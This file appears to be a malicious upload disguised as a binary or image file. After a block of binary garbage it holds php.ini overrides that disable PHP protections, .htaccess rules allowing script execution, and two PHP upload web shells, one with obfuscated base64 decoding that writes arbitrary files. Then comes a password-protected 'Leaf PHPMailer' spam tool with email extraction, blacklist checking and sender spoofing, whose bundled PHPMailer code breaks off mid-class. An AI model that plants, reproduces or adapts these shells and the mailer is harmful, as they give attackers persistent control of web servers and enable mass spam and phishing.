dM)N0c {}85C&u2f:"Dxɋ^k\rrIS]ԻA˒@ktuiozmwcnyl|2`R]n=TvW	0Ep'/e9SMS]5=cVsdZxyzktuiozmwcncY.-?~%rqGdm̫czІbb5ho)dX
#6/n
zC-Ptuԫtqdjierboz&+˒+u]ktuiozmwcnozCT1%6ng h5"}z)=;4 3$l {ӞB 	=mRN8vԩ47*ɟ~52t
%5{7"ڂ "7\S${Toktuiozmwcn8D&݆M,cFo	7Ȧ\K_w6#\7xL2@ZKUL@/8q7b6_o+XRb!T0p_.ҕD^
mcTxqЅFktuiozmwcn/d GCQ{u!r
BO( *	%@?QMihwKeIDj/숌P__h3WWefrFp,Z
B2LJm8(62HgA(
̲_D8-Tz^2Mstqdjierboz;tqdjierboz|ktuiozmwcnXF}gN[YOq	9	~uiF7	rtqdjierbozO"!Bƈe
l/X!n#`_&}eeR:헨ݑG*z8ш1b&)& 糒
IxɈqzPc3gٷil!נyMwg
z|
./YG?@gg͐lns	Y5.Q]Y*[֬i2hNYRY4N[bs7=OT	KɉMW{^Vi +RBkA}h],I|s;c1h;˸h!R!Ib=%%//jcz!"B?њ#f"aktuiozmwcn_@s2C)S~}FDSm=4@]bK6F~}VJ=Ob13n6U\ҭPitĊpͼUˀ~ej9ݑ)&Eٽd7f$}܏Rb4sQV~bs(AHM=lqN!+Nml=mױ{	D-`iנ7&Ss& 
Iݲe}E8': e"Yo.,.kIVcq
d޻+C RaLjJts"%763x^m:I+\/I_7%Xo!oc*cJX"^z`V&ed=,mf*F	p{f$3Xݰ3W79YR `5dkls#e& GgFg֣,]d;4R"mi?=1w8Z&T&49Q9_͍?rm0
(li;fR?Y\r}gt4܀YwW۟W%}X.QAItͯig	ԔPygճhy3z1.M_ze~[;B8
f4;Xiei\ȣ7z$	
ČЬGFEd7~* hSٌ8UU^k
4hx{_ZŎ'0'{-r_ŢfکOVg!9(eΚ+#b1IXjQP|7ѱ,rNeF!~}Utok-ڭj\
pE{ur'U-!L$eg:;`.^9O+*`SyOkqG	ۄ'?Jp }`gtqdjierbozz	9BvQa|91+tqdjierboz	|ޢ)ǷCf".YCN׳IoogUT {pkۈ̳DӸL*)r6?{MY4 Q8N1s:uLG%~5xg&.$\3 ktuiozmwcn}rQ(D{Kdʒ[S5Pl!~nol+_􇕞ɴX"}gI.W Jab'޼jafݿktuiozmwcnyү}!x3 $e~kY%dBDqMV`Z	`yqE6-/~t+4Fg*MR@y·B2ބhym0v(q1]Eцktuiozmwcn	3C|E $_ezG	Z ]͟P	=loS@.*EP:&̡XV4I鳗&ȉ5E4LSRű_O麫upi14䗴,.ktuiozmwcn'AbeO}?sf|2[TJivdW !@O0pp!Ks%:l__Xs{=3&iN ʫGw'i3}[:eB;t̙XuO4p#s:]wKmߓK!B`vVQrM@aP5^ُmv"gHk\6B*}R"b;zkL 6*rTQqsI9j$=}\FՐk(v6a1_sXqLdpZ2EKhڌEeZ&eO^@bg#.blrPp$Jhi^Ax9\rtqdjierbozмm_Uoԗ.KO
UarR$]1Y1"8ǗaqJwe@'7]`4GٍD]h?]
oA3	+?ڏ.8v!N+p(g~lqc"j.z?eVLyHN/MO4$F(Y-+CKtlv6` O_yVr ߹:%PRW|l
wI&	
 tqdjierbozYmVHKL%\u3R\WN8EXIZlJd2aG-zл$]1+l	,9nrCtqdjierboz$O
2EQu"2jtb?+DD
~f뎆o֟45G̎Yyq,UncZ*f
2&dQ߁7V

9{Xp.x:/y0i;5Uu/oPUPId-,wU"͵n!MoInEI'%a,ֱwެqOset7{b,(&Xh_x1$6B=v	k5tqdjierboztqdjierbozQ:=}s/
e^ |H7ğK|SOvtqdjierboz)*Vd(:okyC
fU/O0
sk^V^sr
M%	~ַKto&H֌|CxjΓ) X@`5:yRpahy1٧`׏y?sW$'@ERXktuiozmwcnKGȿBVL
HU[_8PB 7X!H3ײ.?rDnhyP!ktuiozmwcnvр֏F r;ixqB0smxT*tqdjierbozTtqdjierbozE,,r"֮d۔F̹D
d#XD;DۥX(~uOu&TWVuKxm#L6RcT
F[b:P?6mySr%#'I0Tvdq1M	4YE= (J)8@6Se{au8;dʦhP(W`Ѣ#Jpa-26vlT]i
w!؅&U4YH,oϙӅ}%^%#0L=JDC%mzCI(4ʋoklj9෺Ux3p4+8
w
QU`l+PzpLTJA=V8o7 hW\X䲍tqdjierboz"r
mtqdjierboz23e6t
^U_C.s赘hKo[s+]3#:ktuiozmwcnGԖ	=($_c{,I@i_gP
lלktuiozmwcn	o
CD@/?)zLDo,.6_{UIsrc9á)Ͽ]Xx4
{7R,Fhtv݊ӿޟ p
y]ِcwOP }$n%r~
}D/8!W?Yۓޱ/O9Ӽӵt͜\oA.El{`oKfi
qztktuiozmwcn:?+ZK&=w}¥([Yx6, DrB3]:O^D!&knzs	~F.Jktuiozmwcn:Gvj"Hktuiozmwcn}XsF٥@H xbn2QE{\Ϊna+;.a	(XH/l躲&&`C
7ny!6h'TKao/[j6st._b鮳(c%@j~$	n;xU]1a´ ^6d\(@ЏuRzgB֠@O	Qohh쟸
{Ă0*gͤ8%@҉Yok1U7RMvUVhƋ{qm5ւ{YӞW[ɡއr"{x6EQE'DQeyo뿠Bsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'b'.'ase64'.'_deco'.'de'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "g5SXebKpMxa";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
